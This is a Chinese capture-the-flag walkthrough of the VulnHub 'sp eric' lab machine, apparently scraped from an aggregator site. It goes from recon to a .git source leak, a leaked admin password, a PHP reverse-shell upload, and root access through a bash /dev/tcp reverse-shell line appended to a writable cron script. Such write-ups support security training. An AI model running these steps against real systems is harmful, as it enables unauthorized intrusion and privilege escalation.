当前位置: 首页 > news >正文

sp eric靶机渗透测试

一、靶机下载地址

https://www.vulnhub.com/entry/sp-eric,274/

二、信息收集

1、主机发现

# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:FD:57:BE"

2、端口扫描

# 使用命令
nmap 192.168.145.211 -p- -sV

3、指纹识别

# 使用命令
whatweb 192.168.145.211

4、目录扫描

# 使用命令
dirsearch -u  "http://192.168.145.211"

三、获取shell

1、访问靶机IP地址

2、拼接访问 admin.php ,发现登录框界面,尝试sql注入,弱口令等,没有结果

3、看看 .git ,使用 githack 下载源码

# 使用命令
python2 GitHack.py -u http://192.168.145.211/.git/

4、查看下载的源码,发现账号密码admin:st@mpch0rdt.ightiRu$glo0mappL3

# 使用命令
cd 192.168.145.211
ls
cat admin.php

5、尝试登录,发现登录成功

6、发现存在文件上传功能,kali 生成反弹 shell

# 使用命令
locate php-reverse-shell.phpcp /usr/share/webshells/php/php-reverse-shell.php .vim php-reverse-shell.php

7、kali 开启监听

# 使用命令
nc -lvnp 1234

8、访问 /upload/php-reverse-shell.php,成功反弹 shell

四、提权

1、使用 python 提升交互性,发现没有python

2、看一下有没有python3

# 使用命令
which python3

3、发现有 python3,那么用 python3 执行

# 使用命令
python3 -c 'import pty;pty.spawn("/bin/bash")'

4、在 /home/eric 下发现了 backup.shbackup.zipflag.txt 这三个文件

5、查看 flag.txt文件内容

6、查看 backup.sh文件内容,可能是计划任务,看一眼

# 使用命令
cat /etc/crontab

7、输入ls -la命令,发现backup.sh文件可写可执行

8、写入反弹 shell 的语句

# 使用命令
echo 'bash -i >& /dev/tcp/192.168.145.146/9999 0>&1' >> backup.sh

9、kali开启监听

# 使用命令
nc -lvnp 9999

10、成功反弹 shell ,提权成功,是存在计划任务的

11、最后在 /root 下发现一个 flag.txt

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【学习笔记】Day 13
  • RuoYi-Vue新建模块
  • 复杂SQL查询案例分析:计算每个月的累积唯一用户数
  • LVS详解
  • 【已解决】AttributeError: ‘diet’ object has no attribute ‘has_key’
  • 前端性能优化方法
  • 快速拷贝复制工具软件@拷贝工具@多线程拷贝@robocopy
  • 视频汇聚平台智能边缘分析一体机分析平台摄像头异常位移算法识别检测
  • 串行通信协议--CAN(Controller Area Network Bus,控制器局域网总线)
  • Python 异步编程:Sqlalchemy 异步实现方式
  • HarmonyOS ArkTS 构建布局
  • Highcharts 条形图:数据可视化的利器
  • 利用python写一个可视化的界面
  • Qt 小功能:加载等待动画——转圈圈
  • 机械行业数字化生产供应链产品解决方案(三)
  • [ 一起学React系列 -- 8 ] React中的文件上传
  • Akka系列(七):Actor持久化之Akka persistence
  • ECS应用管理最佳实践
  • javascript面向对象之创建对象
  • JavaSE小实践1:Java爬取斗图网站的所有表情包
  • Laravel Telescope:优雅的应用调试工具
  • leetcode98. Validate Binary Search Tree
  • PAT A1017 优先队列
  • python3 使用 asyncio 代替线程
  • Vue实战(四)登录/注册页的实现
  • 从零开始的无人驾驶 1
  • 基于遗传算法的优化问题求解
  • 漂亮刷新控件-iOS
  • 嵌入式文件系统
  • 小程序01:wepy框架整合iview webapp UI
  • 交换综合实验一
  • 你学不懂C语言,是因为不懂编写C程序的7个步骤 ...
  • ​RecSys 2022 | 面向人岗匹配的双向选择偏好建模
  • ​无人机石油管道巡检方案新亮点:灵活准确又高效
  • ​中南建设2022年半年报“韧”字当头,经营性现金流持续为正​
  • #Z2294. 打印树的直径
  • (1)(1.13) SiK无线电高级配置(五)
  • (3)选择元素——(14)接触DOM元素(Accessing DOM elements)
  • (3)选择元素——(17)练习(Exercises)
  • (4)(4.6) Triducer
  • (五)网络优化与超参数选择--九五小庞
  • (学习日记)2024.01.09
  • (转)微软牛津计划介绍——屌爆了的自然数据处理解决方案(人脸/语音识别,计算机视觉与语言理解)...
  • .gitignore不生效的解决方案
  • .mat 文件的加载与创建 矩阵变图像? ∈ Matlab 使用笔记
  • .net core Swagger 过滤部分Api
  • .NET 程序如何获取图片的宽高(框架自带多种方法的不同性能)
  • .net 流——流的类型体系简单介绍
  • @Conditional注解详解
  • @Transactional注解下,循环取序列的值,但得到的值都相同的问题
  • [ vulhub漏洞复现篇 ] Grafana任意文件读取漏洞CVE-2021-43798
  • [2]十道算法题【Java实现】
  • [ai笔记3] ai春晚观后感-谈谈ai与艺术
  • [BZOJ2850]巧克力王国
  • [C/C++入门][ifelse]20、闰年判断